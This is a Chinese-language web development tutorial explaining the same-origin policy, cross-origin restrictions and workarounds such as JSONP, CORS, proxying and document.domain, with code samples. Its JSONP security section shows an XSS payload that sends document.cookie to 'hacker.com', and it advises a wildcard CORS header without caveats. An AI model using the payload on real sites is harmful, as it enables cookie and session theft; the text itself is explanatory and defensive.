同源策略:協議、域名、端口都相同,是一種安全策略,不一樣源的客戶端腳本在沒有明確受權的狀況下,不能讀取對方資源。javascript
同源策略的目的:html
保證用戶的信息安全,防止惡意的網站盜取數據。若是缺乏了同源策略,瀏覽器很容易受到xss、csrf的攻擊。前端
設置同源策略的主要目的是爲了安全,若是沒有同源策略,在瀏覽器中的cookie等其餘數據能夠任意讀取,不一樣域下的DOM任意操做,ajax任意請求其餘網站的隱私數據。java
設想這樣一個場景:一個惡意網站的頁面經過iframe嵌入了銀行的登錄頁面(二者不一樣源)若是沒有同源策略的限制,惡意網站上的js腳本就能夠在用戶登陸銀行的時候獲取用戶名和密碼。ajax
(1)作一個假網站,裏面用iframe嵌套一個銀行網站 http://mybank.com。 (2)把iframe寬高啥的調整到頁面所有,這樣用戶進來除了域名,別的部分和銀行的網站沒有任何差異。 (3)這時若是用戶輸入帳號密碼,咱們的主網站能夠跨域訪問到http://mybank.com的dom節點,就能夠拿到用戶的輸入了,那麼就完成了一次攻擊。
跨域問題是因爲瀏覽器爲了防止CSRF攻擊,避免惡意攻擊帶來的風險而採起的同源策略限制。CSRF攻擊就是利用用戶的登陸狀態發起已請求,可是跨域不能徹底阻止CSRF,由於跨域是請求發出去了,可是被瀏覽器攔截了響應。json
同源策略只針對於瀏覽器端,瀏覽器一旦檢測到請求的結果的域名不一致後,會阻塞請求結果。須要注意的是,跨域請求是能夠發出去的,是響應被瀏覽器阻塞了。後端
服務器收到了請求,而且正常返回數據,可是返回的數據被瀏覽器阻塞掉了。因此說同源策略是限制了不一樣源的讀(返回數據),但不限制不一樣源的寫(發送請求)。跨域
爲何不限制寫呢?瀏覽器
是由於若是請求都發不出去,那在源頭上就限制死了,網站之間就沒法實現共享資源了。另外,限制讀即瀏覽器攔截請求結果,通常狀況下就夠了,假如訪問的是黑網站,那麼網站沒法根據請求結果進一步的操做。安全
同源策略的限制:
(1)不能經過ajax請求不一樣源中的數據
(2)瀏覽器中不一樣域的框架之間是不能進行js交互操做的。
爲何要跨域?
隨着互聯網的發展,同源策略愈來愈嚴格,目前,對於非同源的網站共有三種行爲受到限制。
(1)Cookie、LocalStorage和IndexDB沒法獲取。
(2)DOM沒法得到。
(3)Ajax請求不能發送。
雖然這些限制是必要的,可是有時很不方便,合理的用途也會受到影響,所以須要跨域。
有三個標籤能夠容許跨域加載資源:<img/>、<link/>、<script>
跨域:當協議、域名、端口不一樣時,會出現跨域問題
在本地模擬跨域現象:
圖1 圖2
圖二的127.0.0.1一樣也指向localhost,可是與localhost不是一個域名。因此圖2會出現跨域錯誤而且ajax執行error()方法:
如何解決ajax跨域
(1)JSONP方式
(2)跨域資源共享(CORS),即添加響應頭
(3)代理請求方式
(4)document.domain來跨越子域
1、JSONP jsonp只支持"GET"方式的傳輸類型
JSONP是JSON with Padding的略稱。
它是一個非官方的協議,它容許在服務器端集成Script tags返回至客戶端,經過javascript callback的形式實現跨域訪問(這僅僅是JSONP簡單的實現形式)。JSONP是一種非正式傳輸協議,該協議的一個要點就是容許用戶傳遞一個callback參數給服務端,而後服務端返回數據時會將這個callback參數做爲函數名來包裹住JSON數據,這樣客戶端就能夠隨意定製本身的函數來自動處理返回數據了。
解決方法:
jsp:
servlet:
jsonp的原理
動態建立<script>標籤,而<script>的src屬性是沒有跨域限制的。
優勢:
(1)兼容性好,再更加古老的瀏覽器中均可以運行,不須要XMLHttpRequest或ActiveX的支持;
(2)在請求完畢後能夠經過callback的方式回傳結果。
缺點:
(1)只支持GET方法而不支持POST等其餘請求方法;
(2)它只支持跨域HTTP請求這種狀況,不能解決不一樣域的兩個頁面之間如何進行js調用的問題;
(3) jsonp在調用失敗的時候不會返回各類HTTP狀態碼;
(5)安全性問題。
可能致使的兩個安全性問題:
XSS攻擊
JSONP設置一個callback參數並傳給服務器,而後服務器將其做爲函數名包裹數據,這種作法方便了先後端交互,使得後端在不知道前端頁面具體內容的狀況下也能正確的調用。
舉個栗子:
<body> <p style="color:red;">您的餘額是<span id=amount>&&&amount&&&</span></p> <button id=button>付款</button> <script> $('#button').on('click',function(){ let script=document.createElement('script') script.src='/pay?callback=yyy' document.body.appendChild(script) script.onload=function(e){ e.currentTarget.remove() } script.onerror=function(e){ alert('fail'); e.currentTarget.remove() } }) window.yyy=function(result){ amount.innerText=result.left } </script> </body>
在以上代碼中,函數名yy做爲參數傳遞給服務器:script.src='/pay?callback=yyy'
可是,假如函數名yy不是正常的函數名,而是一個script標籤呢??如script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
那麼,當服務器返回響應的時候,這段惡意代碼就會被執行,即XSS攻擊。
解決方法:對對返回的內容進行字符過濾,若返回的是script腳本內容,則過濾後就會變成普通的文本格式,腳本不會被執行。
JSON劫持又稱CSRF攻擊
由於jsonp是從其餘域中加載代碼執行,若是其餘域不安全,返回的數據或代碼極可能會對咱們的頁面或服務進行攻擊,好比把咱們的用戶重定向到一些非法網站或者竊取用戶的身份認證等。
2、CORS
網上說要添加以上兩句,可是我試了一下只要最上面的一句就能夠了,get和post都能訪問。即:
response.setHeader("Access-Control-Allow-Origin", "*");//*容許任何域
3、代理的方式
服務器A的test01.html頁面想訪問服務器B的後臺action,返回「test」字符串,此時就出現跨域請求,瀏覽器控制檯會出現報錯提示,因爲跨域是瀏覽器的同源策略形成的,對於服務器後臺不存在該問題,能夠在服務器A中添加一個代理action,在該action中完成對服務器B中action數據的請求,而後在返回到test01.html頁面。
4、document.domain
原理:設置相同的主域例子。 只能設置兩個具備相同基礎域的域名。
好比在aaa.com的一個網頁(a.html)中利用iframe引入b.com的一個網頁(b.html)
這是在a.html裏面能夠看到b.html的內容,可是卻不能經過js來操做它,由於兩個頁面屬於不一樣的域,在操做之間,js會檢測兩個頁面的域是否相等,若是相等才容許操做。
在這裏不可能把a.html與b.html利用js改爲同一個域的,由於他們的基礎域名不相等。(強行改爲相同的域會報參數無效錯誤)
因此,若是a.html中引入aaa.com裏的另外一個網頁,是能夠經過js操做的。
還有另外一種狀況,有兩個域名:
aaa.xxx.com
bbb.xxx.com
能夠經過document.domain='xxx.com'實現同一基礎域名之間的跨域。
document.domain的設置是有限制的,咱們只能把document.domain設置成自身或更高一級的父域,且主域必須相同。
修改document.domain的方法只適用於不一樣子域的框架間的交互,對ajax訪問的不適用。
JSONP與CORS的優缺點:
(1)JSONP的主要優點是對於瀏覽器的支持比較好;而CORS對於IE10一下是不支持的;
(2)JSONP只能用於獲取資源(即只讀,相似於get請求);CORS支持全部類型的HTTP請求,功能完善;
(3)JSONP的錯誤處理機制並不完善,咱們沒辦法進行錯誤處理;CORS能夠經過onerror事件監聽錯誤,利於排查;
(4)JSONP只會發送一次請求;而對於複雜的請求,CORS會發送兩次請求(預檢);
jsonp的做用主要是實現跨域的,同時能夠實現跨域的標籤有:<script>、<image>、<link>等
jsonp是經過動態<script>元素來使用的,使用時能夠爲src屬性指定一個跨域URL。這裏的<script>和<image>元素相似,都有能力不受限地從其餘域加載資源。
實現思路:
(1)先處理url,包括參數以及callback函數名
(2)建立一個新的script標籤到頁面上
(3)把處理好地回調函數掛到window對象上
(4)回調完再刪掉script
<script> window.onload=function(){ //http://www.baidu.com?aa=11&callback=my_jsonp04349289664328899 var jsonp=function(url,params,callback){ //判斷url有沒有參數,沒有在後面加「?」,有就在參數後面接「&」 var queryString=url.indexOf('?')==-1?"?":"&"; //添加參數 params的形式爲{"name":"123","age":"32"} for(item in params){ queryString += item+"="+params[item]+"&"; } //處理函數名 //Math.random()爲0-1之間的小數,將 小數換成整數字符串 var random=Math.random().toString().replace('.',''); var cname='my_jsonp'+random; var cb='callback='+cname; queryString+=cb;//將callback參數拼接到url後面 var script=document.createElement('script'); script.src=url+queryString; document.body.appendChild(script); //把回調函數的名字賦給window window[cname]=function(params){ //這裏執行回調的操做,用來處理參數 callback(params); //拿到了就刪除這個script document.body.removeChild(script); }; } jsonp("http://www.baidu.com",{aa:11},function(){ console.log(params); }) } </script>